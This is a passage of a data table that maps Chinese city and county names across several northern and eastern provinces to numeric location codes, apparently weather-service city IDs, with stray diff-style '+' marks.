101060204, '磐石': 101060205, '桦甸': 101060206, '烟筒山': 101060207, '延吉': 101060301, + '敦化': 101060302, + '安图': 101060303, '汪清': 101060304, '和龙': 101060305, '天池': 101130109, '龙井': 101060307, + '珲春': 101060308, + '图们': 101060309, '罗子沟': 101060311, '延边': 101060312, '四平': 101060401, '双辽': 101060402, + '梨树': 101060403, + '公主岭': 101060404, '伊通': 101060405, '孤家子': 101060406, '通化': 101060501, '梅河口': 101060502, + '柳河': 101060503, + '辉南': 101060504, '集安': 101060505, '通化县': 101060506, '白城': 101060601, '洮南': 101060602, + '大安': 101060603, + '镇赉': 101060604, '通榆': 101060605, '辽源': 101060701, '东丰': 101060702, '松原': 101060801, + '乾安': 101060802, + '前郭': 101060803, '长岭': 101060804, '扶余': 101060805, '白山': 101060901, '靖宇': 101060902, + '临江': 101060903, + '东岗': 101060904, '长白': 101060905, '沈阳': 101070101, '苏家屯': 101070102, '辽中': 101070103, + '康平': 101070104, + '法库': 101070105, '新民': 101070106, '于洪': 101070107, '新城子': 101070108, '大连': 101070201, + '瓦房店': 101070202, + '金州': 101070203, '普兰店': 101070204, '旅顺': 101070205, '长海': 101070206, '庄河': 101070207, + '皮口': 101070208, + '海洋岛': 101070209, '鞍山': 101070301, '台安': 101070302, '岫岩': 101070303, '海城': 101070304, + '抚顺': 101070401, + '清原': 101070403, '章党': 101070404, '本溪': 101070501, '本溪县': 101070502, '草河口': 101070503, + '桓仁': 101070504, + '丹东': 101070601, '凤城': 101070602, '宽甸': 101070603, '东港': 101340202, '东沟': 101070605, + '锦州': 101070701, + '凌海': 101070702, '北宁': 101070703, '义县': 101070704, '黑山': 101070705, '北镇': 101070706, + '营口': 101070801, + '大石桥': 101070802, '盖州': 101070803, '阜新': 101070901, '彰武': 101070902, '辽阳': 101071001, + '辽阳县': 101071002, + '灯塔': 101071003, '铁岭': 101071101, '开原': 101071102, '昌图': 101071103, '西丰': 101071104, + '建平': 101071202, + '凌源': 101071203, '喀左': 101071204, '北票': 101071205, '羊山': 101071206, '建平县': 101071207, + '盘锦': 101071301, + '大洼': 101071302, '盘山': 101071303, '葫芦岛': 101071401, '建昌': 101071402, '绥中': 101071403, + '兴城': 101071404, + '呼和浩特': 101080101, '土默特左旗': 101080102, '托克托': 101080103, '和林格尔': 101080104, '清水河': 101150507, + '呼和浩特市郊区': 101080106, '武川': 101080107, '包头': 101080201, '白云鄂博': 101080202, '满都拉': 101080203, + '土默特右旗': 101080204, + '固阳': 101080205, '达尔罕茂明安联合旗': 101080206, '石拐': 101080207, '乌海': 101080301, '集宁': 101080401, + '卓资': 101080402, + '化德': 101080403, '商都': 101080404, '希拉穆仁': 101080405, '兴和': 101080406, '凉城': 101080407, + '察哈尔右翼前旗': 101080408, + '察哈尔右翼中旗': 101080409, '察哈尔右翼后旗': 101080410, '四子王旗': 101080411, '丰镇': 101080412, + '通辽': 101080501, + '舍伯吐': 101080502, '科尔沁左翼中旗': 101080503, '科尔沁左翼后旗': 101080504, '青龙山': 101080505, + '开鲁': 101080506, + '库伦旗': 101080507, '奈曼旗': 101080508, '扎鲁特旗': 101080509, '高力板': 101080510, '巴雅尔吐胡硕': 101080511, + '通辽钱家店': 101080512, + '赤峰': 101080601, '赤峰郊区站': 101080602, '阿鲁科尔沁旗': 101080603, '浩尔吐': 101080604, '巴林左旗': 101080605, + '巴林右旗': 101080606, + '林西': 101080607, '克什克腾旗': 101080608, '翁牛特旗': 101080609, '岗子': 101080610, '喀喇沁旗': 101080611, + '八里罕': 101080612, + '宁城': 101080613, '敖汉旗': 101080614, '宝过图': 101080615, '鄂尔多斯': 101080701, '达拉特旗': 101080703, + '准格尔旗': 101080704, + '鄂托克前旗': 101080705, '河南': 101150304, '伊克乌素': 101080707, '鄂托克旗': 101080708, '杭锦旗': 101080709, + '乌审旗': 101080710, + '伊金霍洛旗': 101080711, '乌审召': 101080712, '东胜': 101080713, '临河': 101080801, '五原': 101080802, + '磴口': 101080803, + '乌拉特前旗': 101080804, '大佘太': 101080805, '乌拉特中旗': 101080806, '乌拉特后旗': 101080807, '海力素': 101080808, + '那仁宝力格': 101080809, '杭锦后旗': 101080810, '巴盟农试站': 101080811, '锡林浩特': 101080901, + '朝克乌拉': 101080902, + '二连浩特': 101080903, '阿巴嘎旗': 101080904, '伊和郭勒': 101080905, '苏尼特左旗': 101080906, + '苏尼特右旗': 101080907, + '朱日和': 101080908, '东乌珠穆沁旗': 101080909, '西乌珠穆沁旗': 101080910, '太仆寺旗': 101080911, + '镶黄旗': 101080912, + '正镶白旗': 101080913, '正兰旗': 101080914, '多伦': 101080915, '博克图': 101080916, '乌拉盖': 101080917, + '白日乌拉': 101080918, + '那日图': 101080919, '呼伦贝尔': 101081000, '海拉尔': 101081001, '小二沟': 101081002, '阿荣旗': 101081003, + '莫力达瓦旗': 101081004, + '鄂伦春旗': 101081005, '鄂温克旗': 101081006, '陈巴尔虎旗': 101081007, '新巴尔虎左旗': 101081008, + '新巴尔虎右旗': 101081009, + '满洲里': 101081010, '牙克石': 101081011, '扎兰屯': 101081012, '额尔古纳': 101081014, '根河': 101081015, + '图里河': 101081016, + '乌兰浩特': 101081101, '阿尔山': 101081102, '科尔沁右翼中旗': 101081103, '胡尔勒': 101081104, '扎赉特旗': 101081105, + '索伦': 101081106, + '突泉': 101081107, '霍林郭勒': 101081108, '阿拉善左旗': 101081201, '阿拉善右旗': 101081202, '额济纳旗': 101081203, + '拐子湖': 101081204, + '吉兰太': 101081205, '锡林高勒': 101081206, '头道湖': 101081207, '中泉子': 101081208, '巴彦诺尔贡': 101081209, + '雅布赖': 101081210, + '乌斯太': 101081211, '孪井滩': 101081212, '石家庄': 101090101, '井陉': 101090102, '正定': 101090103, + '栾城': 101090104, + '行唐': 101090105, '灵寿': 101090106, '高邑': 101090107, '深泽': 101090108, '赞皇': 101090109, + '无极': 101090110, + '平山': 101090111, '元氏': 101090112, '赵县': 101090113, '辛集': 101090114, '藁城': 101090115, + '晋洲': 101090116, + '新乐': 101090117, '保定': 101090201, '满城': 101090202, '阜平': 101090203, '徐水': 101090204, + '唐县': 101090205, + '高阳': 101090206, '容城': 101090207, '紫荆关': 101090208, '涞源': 101090209, '望都': 101090210, + '安新': 101090211, + '易县': 101090212, '涞水': 101090213, '曲阳': 101090214, '蠡县': 101090215, '顺平': 101090216, + '雄县': 101090217, + '涿州': 101090218, '定州': 101090219, '安国': 101090220, '高碑店': 101090221, '张家口': 101090301, + '宣化': 101090302, + '张北': 101090303, '康保': 101090304, '沽源': 101090305, '尚义': 101090306, '蔚县': 101090307, + '阳原': 101090308, + '怀安': 101090309, '万全': 101090310, '怀来': 101090311, '涿鹿': 101090312, '赤城': 101090313, + '崇礼': 101090314, + '承德': 101090402, '承德县': 101090403, '兴隆': 101090404, '平泉': 101090405, '滦平': 101090406, + '隆化': 101090407, + '丰宁': 101090408, '宽城': 101090409, '围场': 101090410, '塞罕坎': 101090411, '唐山': 101090501, + '丰南': 101090502, + '丰润': 101090503, '滦县': 101090504, '滦南': 101090505, '乐亭': 101090506, '迁西': 101090507, + '玉田': 101090508, + '唐海': 101090509, '遵化': 101090510, '迁安': 101090511, '廊坊': 101090601, '固安': 101090602, + '永清': 101090603, + '香河': 101090604, '大城': 101090605, '文安': 101090606, '大厂': 101090607, '霸州': 101090608, + '三河': 101090609, + '沧州': 101090701, '青县': 101090702, '东光': 101090703, '海兴': 101090704, '盐山': 101090705, + '肃宁': 101090706, + '南皮': 101090707, '吴桥': 101090708, '献县': 101090709, '孟村': 101090710, '泊头': 101090711, + '任丘': 101090712, + '黄骅': 101090713, '河间': 101090714, '曹妃甸': 101090715, '衡水': 101090801, '枣强': 101090802, + '武邑': 101090803, + '武强': 101090804, '饶阳': 101090805, '安平': 101090806, '故城': 101090807, '景县': 101090808, + '阜城': 101090809, + '冀州': 101090810, '深州': 101090811, '邢台': 101090901, '临城': 101090902, '邢台县浆水': 101090903, + '内邱': 101090904, + '柏乡': 101090905, '隆尧': 101090906, '南和': 101090907, '宁晋': 101090908, '巨鹿': 101090909, + '新河': 101090910, + '广宗': 101090911, '平乡': 101090912, '威县': 101090913, '清河': 101090914, '临西': 101090915, + '南宫': 101090916, + '沙河': 101090917, '任县': 101090918, '邯郸': 101091001, '峰峰': 101091002, '临漳': 101091003, + '成安': 101091004, + '大名': 101091005, '涉县': 101091006, '磁县': 101091007, '肥乡': 101091008, '永年': 101091009, + '邱县': 101091010, + '鸡泽': 101091011, '广平': 101091012, '馆陶': 101091013, '魏县': 101091014, '曲周': 101091015, + '武安': 101091016, + '秦皇岛': 101091101, '青龙': 101091102, '昌黎': 101091103, '抚宁': 101091104, '卢龙': 101091105, + '北戴河': 101091106, + '太原': 101100101, '清徐': 101100102, '阳曲': 101100103, '娄烦': 101100104, '太原古交区': 101100105, + '太原北郊': 101100106, + '太原南郊': 101100107, '大同': 101100201, '阳高': 101100202, '大同县': 101100203, '天镇': 101100204, + '广灵': 101100205, + '灵邱': 101100206, '浑源': 101100207, '左云': 101100208, '阳泉': 101100301, '盂县': 101100302, + '平定': 101100303, + '晋中': 101100401, '榆次': 101100402, '榆社': 101100403, '左权': 101100404, '和顺': 101100405, + '昔阳': 101100406, + '寿阳': 101100407, '太谷': 101100408, '祁县': 101100409, '平遥': 101100410, '灵石': 101100411, + '介休': 101100412, + '长治': 101100501, '黎城': 101100502, '屯留': 101100503, '潞城': 101100504, '襄垣': 101100505, + '平顺': 101100506, + '武乡': 101100507, '沁县': 101100508, '长子': 101100509, '沁源': 101100510, '壶关': 101100511, + '晋城': 101100601, + '沁水': 101100602, '阳城': 101100603, '陵川': 101100604, '高平': 101100605, '临汾': 101100701, + '曲沃': 101100702, + '永和': 101100703, '隰县': 101100704, '大宁': 101100705, '吉县': 101100706, '襄汾': 101100707, + '蒲县': 101100708, + '汾西': 101100709, '洪洞': 101100710, '霍州': 101100711, '乡宁': 101100712, '翼城': 101100713, + '侯马': 101100714, + '浮山': 101100715, '安泽': 101100716, '古县': 101100717, '运城': 101100801, '临猗': 101100802, + '稷山': 101100803, + '万荣': 101100804, '河津': 101100805, '新绛': 101100806, '绛县': 101100807, '闻喜': 101100808, + '垣曲': 101100809, + '永济': 101100810, '芮城': 101100811, '夏县': 101100812, '平陆': 101100813, '朔州': 101100901, + '平鲁': 101100902, + '山阴': 101100903, '右玉': 101100904, '应县': 101100905, '怀仁': 101100906, '忻州': 101101001, + '定襄': 101101002, + '五台县豆村': 101101003, '河曲': 101101004, '偏关': 101101005, '神池': 101101006, '宁武': 101101007, + '代县': 101101008, + '繁峙': 101101009, '五台山': 101101010, '保德': 101101011, '静乐': 101101012, '岢岚': 101101013, + '五寨': 101101014, + '原平': 101101015, '吕梁': 101101100, '离石': 101101101, '临县': 101101102, '兴县': 101101103, + '岚县': 101101104, + '柳林': 101101105, '石楼': 101101106, '方山': 101101107, '交口': 101101108, '中阳': 101101109, + '孝义': 101101110, + '汾阳': 101101111, '文水': 101101112, '交城': 101101113, '西安': 101110101, '长安': 101110102, + '临潼': 101110103, + '蓝田': 101110104, '周至': 101110105, '户县': 101110106, '高陵': 101110107, '杨凌': 101110108, + '咸阳': 101110200, + '三原': 101110201, '礼泉': 101110202, '永寿': 101110203, '淳化': 101110204, '泾阳': 101110205, + '武功': 101110206, + '乾县': 101110207, '彬县': 101110208, '长武': 101110209, '旬邑': 101110210, '兴平': 101110211, + '延安': 101110300, + '延长': 101110301, '延川': 101110302, '子长': 101110303, '宜川': 101110304, '富县': 101110305, + '志丹': 101110306, + '安塞': 101110307, '甘泉': 101110308, '洛川': 101110309, '黄陵': 101110310, '黄龙': 101110311, + '吴起': 101110312, + '榆林': 101110401, '府谷': 101110402, '神木': 101110403, '佳县': 101110404, '定边': 101110405, + '靖边': 101110406, + '横山': 101110407, '米脂': 101110408, '子洲': 101110409, '绥德': 101110410, '吴堡': 101110411, + '清涧': 101110412, + '渭南': 101110501, '华县': 101110502, '潼关': 101110503, '大荔': 101110504, '白水': 101110505, + '富平': 101110506, + '蒲城': 101110507, '澄城': 101110508, '合阳': 101110509, '韩城': 101110510, '华阴': 101110511, + '华山': 101110512, + '商洛': 101110601, '洛南': 101110602, '柞水': 101110603, '镇安': 101110605, '丹凤': 101110606, + '商南': 101110607, + '山阳': 101110608, '安康': 101110701, '紫阳': 101110702, '石泉': 101110703, '汉阴': 101110704, + '旬阳': 101110705, + '岚皋': 101110706, '平利': 101110707, '白河': 101110708, '镇坪': 101110709, '宁陕': 101110710, + '汉中': 101110801, + '略阳': 101110802, '勉县': 101110803, '留坝': 101110804, '洋县': 101110805, '城固': 101110806, + '西乡': 101110807, + '佛坪': 101110808, '宁强': 101110809, '南郑': 101110810, '镇巴': 101110811, '宝鸡': 101110901, + '宝鸡县': 101110902, + '千阳': 101110903, '麟游': 101110904, '岐山': 101110905, '凤翔': 101110906, '扶风': 101110907, + '眉县': 101110908, + '太白': 101110909, '凤县': 101110910, '陇县': 101110911, '铜川': 101111001, '耀县': 101111002, + '宜君': 101111003, + '济南': 101120101, '长清': 101120102, '商河': 101120103, '章丘': 101120104, '平阴': 101120105, + '济阳': 101120106, + '青岛': 101120201, '崂山': 101120202, '潮连岛': 101120203, '即墨': 101120204, '胶州': 101120205, + '胶南': 101120206, + '莱西': 101120207, '平度': 101120208, '淄博': 101120301, '淄川': 101120302, '博山': 101120303, + '高青': 101120304, + '周村': 101120305, '沂源': 101120306, '桓台': 101120307, '临淄': 101120308, '德州': 101120401, + '武城': 101120402, + '临邑': 101120403, '陵县': 101120404, '齐河': 101120405, '乐陵': 101120406, '庆云': 101120407, + '平原': 101120408, + '宁津': 101120409, '夏津': 101120410, '禹城': 101120411, '烟台': 101120501, '莱州': 101120502, + '长岛': 101120503, + '蓬莱': 101120504, '龙口': 101120505, '招远': 101120506, '栖霞': 101120507, '福山': 101120508, + '牟平': 101120509, + '莱阳': 101120510, '海阳': 101120511, '千里岩': 101120512, '潍坊': 101120601, '青州': 101120602, + '寿光': 101120603, + '临朐': 101120604, '昌乐': 101120605, '昌邑': 101120606, '安丘': 101120607, '高密': 101120608, + '诸城': 101120609, + '济宁': 101120701, '嘉祥': 101120702, '微山': 101120703, '鱼台': 101120704, '兖州': 101120705, + '金乡': 101120706, + '汶上': 101120707, '泗水': 101120708, '梁山': 101120709, '曲阜': 101120710, '邹城': 101120711, + '泰安': 101120801, + '新泰': 101120802, '泰山': 101120803, '肥城': 101120804, '东平': 101120805, '宁阳': 101120806, + '临沂': 101120901, + '莒南': 101120902, '沂南': 101120903, '苍山': 101120904, '临沭': 101120905, '郯城': 101120906, + '蒙阴': 101120907, + '平邑': 101120908, '费县': 101120909, '沂水': 101120910, '马站': 101120911, '菏泽': 101121001, + '鄄城': 101121002, + '郓城': 101121003, '东明': 101121004, '定陶': 101121005, '巨野': 101121006, '曹县': 101121007, + '成武': 101121008, + '单县': 101121009, '滨州': 101121101, '博兴': 101121102, '无棣': 101121103, '阳信': 101121104, + '惠民': 101121105, + '沾化': 101121106, '邹平': 101121107, '东营': 101121201, '河口': 101290114, '垦利': 101121203, + '利津': 101121204, + '广饶': 101121205, '威海': 101121301, '文登': 101121302, '荣成': 101121303, '乳山': 101121304, + '成山头': 101121305, + '石岛': 101121306, '枣庄': 101121401, '薛城': 101121402, '峄城': 101121403, '台儿庄': 101121404, + '滕州': 101121405, + '日照': 101121501, '五莲': 101121502, '莒县': 101121503, '莱芜': 101121601, '聊城': 101121701, + '冠县': 101121702, + '阳谷': 101121703, '高唐': 101121704, '茌平': 101121705, '东阿': 101121706, '临清': 101121707, + '朝城': 101121708, + '莘县': 101121709, '乌鲁木齐': 101130101, '蔡家湖': 101130102, '小渠子': 101130103, '巴仑台': 101130104, + '达坂城': 101130105, + '十三间房气象站': 101130106, '天山大西沟': 101130107, '乌鲁木齐牧试站': 101130108, '白杨沟': 101130110, + '克拉玛依': 101130201, + '石河子': 101130301, '炮台': 101130302, '莫索湾': 101130303, '乌兰乌苏': 101130304, '昌吉': 101130401, + '呼图壁': 101130402, + '米泉': 101130403, '阜康': 101130404, '吉木萨尔': 101130405, '奇台': 101130406, '玛纳斯': 101130407, + '木垒': 101130408, + '北塔山': 101130409, '吐鲁番': 101130501, '托克逊': 101130502, '吐鲁番东坎': 101130503, '鄯善': 101130504, + '红柳河': 101130505, + '库尔勒': 101130601, '轮台': 101130602, '尉犁': 101130603, '若羌': 101130604, '且末': 101130605, + '和静': 101130606, + '焉耆': 101130607, '和硕': 101130608, '库米什': 101130609, '巴音布鲁克': 101130610, '铁干里克': 101130611, + '博湖': 101130612, + '塔中': 101130613, '阿拉尔': 101130701, '阿克苏': 101130801, '乌什': 101130802, '温宿': 101130803, + '拜城': 101130804, + '新和': 101130805, '沙雅': 101130806, '库车': 101130807, '柯坪': 101130808, '阿瓦提': 101130809, + '喀什': 101130901, + '英吉沙': 101130902, '塔什库尔干': 101130903, '麦盖提': 101130904, '莎车': 101130905, '叶城': 101130906, + '泽普': 101130907, + '巴楚': 101130908, '岳普湖': 101130909, '伽师': 101130910, '伊宁': 101131001, '察布查尔': 101131002, + '尼勒克': 101131003, + '伊宁县': 101131004, '巩留': 101131005, '新源': 101131006, '昭苏': 101131007, '特克斯': 101131008, + '霍城': 101131009, + '霍尔果斯': 101131010, '塔城': 101131101, '裕民': 101131102, '额敏': 101131103, '和布克赛尔': 101131104, + '托里': 101131105, + '乌苏': 101131106, '沙湾': 101131107, '和丰': 101131108, '哈密': 101131201, '沁城': 101131202, + '巴里坤': 101131203, + '伊吾': 101131204, '淖毛湖': 101131205, '和田': 101131301, '皮山': 101131302, '策勒': 101131303, + '墨玉': 101131304, + '洛浦': 101131305, '民丰': 101131306, '于田': 101131307, '阿勒泰': 101131401, '哈巴河': 101131402, + '一八五团': 101131403, + '黑山头': 101131404, '吉木乃': 101131405, '布尔津': 101131406, '福海': 101131407, '富蕴': 101131408, + '青河': 101131409, + '安德河': 101131410, '阿图什': 101131501, '乌恰': 101131502, '阿克陶': 101131503, '阿合奇': 101131504, + '吐尔尕特': 101131505, + '博乐': 101131601, '温泉': 101131602, '精河': 101131603, '阿拉山口': 101131606, '拉萨': 101140101, + '当雄': 101140102, + '尼木': 101140103, '墨竹贡卡': 101140104, '日喀则': 101140201, '拉孜': 101140202, '南木林': 101140203, + '聂拉木': 101140204, + '定日': 101140205, '江孜': 101140206, '帕里': 101140207, '山南': 101140301, '贡嘎': 101140302, + '琼结': 101140303, + '加查': 101140304, '浪卡子': 101140305, '错那': 101140306, '隆子': 101140307, '泽当': 101140308, + '林芝': 101140401, + '波密': 101140402, '米林': 101140403, '察隅': 101140404, '昌都': 101140501, '丁青': 101140502, + '类乌齐': 101140503, + '洛隆': 101140504, '左贡': 101140505, '芒康': 101140506, '八宿': 101140507, '那曲': 101140601, + '嘉黎': 101140603, + '班戈': 101140604, '安多': 101140605, '索县': 101140606, '比如': 101140607, '阿里': 101140701, + '改则': 101140702, + '申扎': 101140703, '狮泉河': 101140704, '普兰': 101140705, '西宁': 101150101, '大通': 101150102, + '湟源': 101150103, + '湟中': 101150104, '铁卜加': 101150105, '铁卜加寺': 101150106, '中心站': 101150107, '海东': 101150201, + '乐都': 101150202, + '民和': 101150203, '互助': 101150204, '化隆': 101150205, '循化': 101150206, '冷湖': 101150207, + '平安': 101150208, + '黄南': 101150301, '尖扎': 101150302, '泽库': 101150303, '海南': 101150401, '江西沟': 101150402, + '贵德': 101150404, + '河卡': 101150405, '兴海': 101150406, '贵南': 101150407, '同德': 101150408, '共和': 101150409, + '果洛': 101150501, + '班玛': 101150502, '甘德': 101150503, '达日': 101150504, '久治': 101150505, '玛多': 101150506, + '玛沁': 101150508, + '玉树': 101150601, '托托河': 101150602, '治多': 101150603, '杂多': 101150604, '囊谦': 101150605, + '曲麻莱': 101150606, + '海西': 101150701, '格尔木': 101150702, '察尔汉': 101150703, '野牛沟': 101150704, '五道梁': 101150705, + '小灶火': 101150706, + '天峻': 101150708, '乌兰': 101150709, '都兰': 101150710, '诺木洪': 101150711, '茫崖': 101150712, + '大柴旦': 101150713, + '茶卡': 101150714, '香日德': 101150715, '德令哈': 101150716, '海北': 101150801, '门源': 101150802, + '祁连': 101150803, + '海晏': 101150804, '托勒': 101150805, '刚察': 101150806, '兰州': 101160101, '皋兰': 101160102, + '永登': 101160103, + '榆中': 101160104, '定西': 101160201, '通渭': 101160202, '陇西': 101160203, '渭源': 101160204, + '临洮': 101160205, + '漳县': 101160206, '岷县': 101160207, '安定': 101160208, '平凉': 101160301, '泾川': 101160302, + '灵台': 101160303, + '崇信': 101160304, '华亭': 101160305, '庄浪': 101160306, '静宁': 101160307, '崆峒': 101160308, + '庆阳': 101160401, + '西峰': 101160402, '环县': 101160403, '华池': 101160404, '合水': 101160405, '正宁': 101160406, + '宁县': 101160407, + '镇原': 101160408, '庆城': 101160409, '武威': 101160501, '民勤': 101160502, '古浪': 101160503, + '乌鞘岭': 101160504, + '天祝': 101160505, '金昌': 101160601, '永昌': 101160602, '张掖': 101160701, '肃南': 101160702, + '民乐': 101160703, + '临泽': 101160704, '高台': 101160705, '山丹': 101160706, '酒泉': 101160801, '鼎新': 101160802, + '金塔': 101160803, + '马鬃山': 101160804, '瓜州': 101160805, '肃北': 101160806, '玉门镇': 101160807, '敦煌': 101160808, + '天水': 101160901, + '北道区': 101160902, '清水': 101160903, '秦安': 101160904, '甘谷': 101160905, '武山': 101160906, + '张家川': 101160907, + '麦积': 101160908, '武都': 101161001, '成县': 101161002, '文县': 101161003, '宕昌': 101161004, + '康县': 101161005, + '西和': 101161006, '礼县': 101161007, '徽县': 101161008, '两当': 101161009, '临夏': 101161101, + '康乐': 101161102, + '永靖': 101161103, '广河': 101161104, '和政': 101161105, '东乡': 101240411, '合作': 101161201, + '临潭': 101161202, + '卓尼': 101161203, '舟曲': 101161204, '迭部': 101161205, '玛曲': 101161206, '碌曲': 101161207, + '夏河': 101161208, + '白银': 101161301, '靖远': 101161302, '会宁': 101161303, '华家岭': 101161304, '景泰': 101161305, + '银川': 101170101, + '永宁': 101170102, '灵武': 101170103, '贺兰': 101170104, '石嘴山': 101170201, '惠农': 101170202, + '平罗': 101170203, + '陶乐': 101170204, '石炭井': 101170205, '大武口': 101170206, '吴忠': 101170301, '同心': 101170302, + '盐池': 101170303, + '韦州': 101170304, '麻黄山': 101170305, '青铜峡': 101170306, '固原': 101170401, '西吉': 101170402, + '隆德': 101170403, + '泾源': 101170404, '六盘山': 101170405, '彭阳': 101170406, '中卫': 101170501, '中宁': 101170502, + '兴仁堡': 101170503, + '海原': 101170504, '郑州': 101180101, '巩义': 101180102, '荥阳': 101180103, '登封': 101180104, + '新密': 101180105, + '新郑': 101180106, '中牟': 101180107, '郑州农试站': 101180108, '安阳': 101180201, '汤阴': 101180202, + '滑县': 101180203, + '内黄': 101180204, '林州': 101180205, '新乡': 101180301, '获嘉': 101180302, '原阳': 101180303, + '辉县': 101180304, + '卫辉': 101180305, '延津': 101180306, '封丘': 101180307, '长垣': 101180308, '许昌': 101180401, + '鄢陵': 101180402, + '襄城': 101180403, '长葛': 101180404, '禹州': 101180405, '平顶山': 101180501, '郏县': 101180502, + '宝丰': 101180503, + '汝州': 101180504, '叶县': 101180505, '舞钢': 101180506, '鲁山': 101180507, '信阳': 101180601, + '息县': 101180602, + '罗山': 101180603, '光山': 101180604, '新县': 101180605, '淮滨': 101180606, '潢川': 101180607, + '固始': 101180608, + '商城': 101180609, '鸡公山': 101180610, '信阳地区农试站': 101180611, '南阳': 101180701, '南召': 101180702, + '方城': 101180703, + '社旗': 101180704, '西峡': 101180705, '内乡': 101180706, '镇平': 101180707, '淅川': 101180708, + '新野': 101180709, + '唐河': 101180710, '邓州': 101180711, '桐柏': 101180712, '开封': 101180801, '杞县': 101180802, + '尉氏': 101180803, + '通许': 101180804, '兰考': 101180805, '洛阳': 101180901, '新安': 101180902, '孟津': 101180903, + '宜阳': 101180904, + '洛宁': 101180905, '伊川': 101180906, '嵩县': 101180907, '偃师': 101180908, '栾川': 101180909, + '汝阳': 101180910, + '商丘': 101181001, '睢阳区': 101181002, '睢县': 101181003, '民权': 101181004, '虞城': 101181005, + '柘城': 101181006, + '宁陵': 101181007, '夏邑': 101181008, '永城': 101181009, '焦作': 101181101, '修武': 101181102, + '武陟': 101181103, + '沁阳': 101181104, '博爱': 101181106, '温县': 101181107, '孟州': 101181108, '鹤壁': 101181201, + '浚县': 101181202, + '淇县': 101181203, '濮阳': 101181301, '台前': 101181302, '南乐': 101181303, '清丰': 101181304, + '范县': 101181305, + '周口': 101181401, '扶沟': 101181402, '太康': 101181403, '淮阳': 101181404, '西华': 101181405, + '商水': 101181406, + '项城': 101181407, '郸城': 101181408, '鹿邑': 101181409, '沈丘': 101181410, '黄泛区': 101181411, + '漯河': 101181501, + '临颍': 101181502, '舞阳': 101181503, '驻马店': 101181601, '西平': 101181602, '遂平': 101181603, + '上蔡': 101181604, + '汝南': 101181605, '泌阳': 101181606, '平舆': 101181607, '新蔡': 101181608, '确山': 101181609, + '正阳': 101181610, + '三门峡': 101181701, '灵宝': 101181702, '渑池': 101181703, '卢氏': 101181704, '济源': 101181801, + '南京': 101190101, + '溧水': 101190102, '高淳': 101190103, '江宁': 101190104, '六合': 101190105, '江浦': 101190106, + '浦口': 101190107, + '无锡': 101190201, '江阴': 101190202, '宜兴': 101190203, '镇江': 101190301, '丹阳': 101190302, + '扬中': 101190303, + '句容': 101190304, '丹徒': 101190305, '苏州': 101190401, '常熟': 101190402, '张家港': 101190403, + '昆山': 101190404, + '吴县东山': 101190405, '吴县': 101190406, '吴江': 101190407, '太仓': 101190408, '南通': 101190501, + '海安': 101190502, + '如皋': 101190503, '如东': 101190504, '吕泗': 101190505, '吕泗渔场': 101190506, '启东': 101190507, + '海门': 101190508, + '扬州': 101190601, '宝应': 101190602, '仪征': 101190603, '高邮': 101190604, '江都': 101190605, + '邗江': 101190606, + '盐城': 101190701, '响水': 101190702, '滨海': 101190703, '阜宁': 101190704, '射阳': 101190705, + '建湖': 101190706, + '东台': 101190707, '大丰': 101190708, '盐都': 101190709, '徐州': 101190801, '徐州农试站': 101190802, + '丰县': 101190803, + '沛县': 101190804, '邳州': 101190805, '睢宁': 101190806, '新沂': 101190807, '淮安': 101190901, + '金湖': 101190902, + '盱眙': 101190903, '洪泽': 101190904, '涟水': 101190905, '淮阴县': 101190906, '淮阴': 101190907, + '楚州': 101190908, + '连云港': 101191001, '东海': 101191002, '赣榆': 101191003, '灌云': 101191004, '灌南': 101191005, + '西连岛': 101191006, + '燕尾港': 101191007, '常州': 101191101, '溧阳': 101191102, '金坛': 101191103, '泰州': 101191201, + '兴化': 101191202, + '泰兴': 101191203, '姜堰': 101191204, '靖江': 101191205, '宿迁': 101191301, '沭阳': 101191302, + '泗阳': 101191303, + '泗洪': 101191304, '武汉': 101200101, '蔡甸': 101200102, '黄陂': 101200103, '新洲': 101200104, + '江夏': 101200105, + '襄樊': 101200201, '襄阳': 101200202, '保康': 101200203, '南漳': 101200204, '宜城': 101200205, + '老河口': 101200206, + '谷城': 101200207, '枣阳': 101200208, '鄂州': 101200301, '孝感': 101200401, '安陆': 101200402, + '云梦': 101200403, + '大悟': 101200404, '应城': 101200405, '汉川': 101200406, '黄冈': 101200501, '红安': 101200502, + '麻城': 101200503, + '罗田': 101200504, '英山': 101200505, '浠水': 101200506, '蕲春': 101200507, '黄梅': 101200508, + '武穴': 101200509, + '黄石': 101200601, '大冶': 101200602, '阳新': 101200603, '咸宁': 101200701, '赤壁': 101200702, + '嘉鱼': 101200703, + '崇阳': 101200704, '通城': 101200705, '通山': 101200706, '荆州': 101200801, '江陵': 101200802, + '公安': 101200803, + '石首': 101200804, '监利': 101200805, '洪湖': 101200806, '松滋': 101200807, '宜昌': 101200901, + '远安': 101200902, + '秭归': 101200903, '兴山': 101200904, '宜昌县': 101200905, '五峰': 101200906, '当阳': 101200907, + '长阳': 101200908, + '宜都': 101200909, '枝江': 101200910, '三峡': 101200911, '夷陵': 101200912, '恩施': 101201001, + '利川': 101201002, + '建始': 101201003, '咸丰': 101201004, '宣恩': 101201005, '鹤峰': 101201006, '来凤': 101201007, + '巴东': 101201008, + '绿葱坡': 101201009, '十堰': 101201101, '竹溪': 101201102, '郧西': 101201103, '郧县': 101201104, + '竹山': 101201105, + '房县': 101201106, '丹江口': 101201107, '神农架': 101201201, '随州': 101201301, '广水': 101201302, + '荆门': 101201401, + '钟祥': 101201402, '京山': 101201403, '天门': 101201501, '仙桃': 101201601, '潜江': 101201701, + '杭州': 101210101, + '萧山': 101210102, '桐庐': 101210103, '淳安': 101210104, '建德': 101210105, '余杭': 101210106, + '临安': 101210107, + '富阳': 101210108, '湖州': 101210201, '长兴': 101210202, '安吉': 101210203, '德清': 101210204, + '嘉兴': 101210301, + '嘉善': 101210302, '海宁': 101210303, '桐乡': 101210304, '平湖': 101210305, '海盐': 101210306, + '宁波': 101210401, + '慈溪': 101210403, '余姚': 101210404, '奉化': 101210405, '象山': 101210406, '石浦': 101210407, + '宁海': 101210408, + '鄞县': 101210409, '北仑': 101210410, '鄞州': 101210411, '镇海': 101210412, '绍兴': 101210501, + '诸暨': 101210502, + '上虞': 101210503, '新昌': 101210504, '嵊州': 101210505, '台州': 101210601, '括苍山': 101210602, + '玉环': 101210603, + '三门': 101210604, '天台': 101210605, '仙居': 101210606, '温岭': 101210607, '大陈': 101210608, + '洪家': 101210609, + '温州': 101210701, '泰顺': 101210702, '文成': 101210703, '平阳': 101210704, '瑞安': 101210705, + '洞头': 101210706, + '乐清': 101210707, '永嘉': 101210708, '苍南': 101210709, '丽水': 101210801, '遂昌': 101210802, + '龙泉': 101210803, + '缙云': 101210804, '青田': 101210805, 